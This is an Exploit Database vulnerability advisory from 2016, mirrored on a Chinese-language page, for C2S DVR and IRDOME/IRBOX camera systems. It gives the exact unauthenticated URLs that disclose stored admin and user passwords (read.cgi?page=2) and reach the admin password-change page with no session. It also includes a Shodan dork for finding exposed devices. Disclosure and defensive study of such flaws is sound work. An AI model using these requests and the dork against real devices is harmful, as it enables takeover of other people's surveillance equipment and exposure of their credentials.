C2S DVR Management IRDOME-II-C2S / IRBOX-II-C2S / DVR – Credentials Disclosure / Authentication Bypass

• Exploit Database
• 35 阅读

• 作者： Yakir Wizman
  日期： 2016-08-19
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/40265/

• 1. Advisory Information
  ========================================
  Title : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass
  Vendor Homepage : http://www.cash2s.com/en/
  Remotely Exploitable	: Yes
  Tested on Camera types	: IRDOME-II-C2S, IRBOX-II-C2S, DVR
  Vulnerabilities : Credentials Disclosure
  + : Authentication bypass
  Date: 19/08/2016
  Shodan Dork : html:write.cgi "Content-length: 2676"
  Author: Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
   
   
  2. CREDIT
  ========================================
  This vulnerability was identified during penetration test by Yakir Wizman.
  
  
  3. Description
  ========================================
  C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler.
  Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management.
  
  
  4. Proof-of-Concept:
  ========================================
  Remote Credentials Disclosure:
  -----------------------------------------------
  Simply go to the following url to read the credentials:
  http://host:port/cgi-bin/read.cgi?page=2
  
  Should return some javascript variable which contain the credentials and other configuration vars:
  
  var pw_enflag = "1";
  var pw_adminpw = "12345";
  var pw_retype1 = "12345";
  var pw_userpw = "56789";
  var pw_retype2 = "56789";
  var pw_autolock = "0";
  
  
  Login @ http://host:port/
  -----------------------------------------------
  
  
  Authentication Bypass:
  -----------------------------------------------
  The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks.
  
  http://host:port/password.htm?parm1=&parm2=1
  
  
  
  5. SOLUTION
  ========================================
  Contact the vendor for further information regarding the proper mitigation of this vulnerability.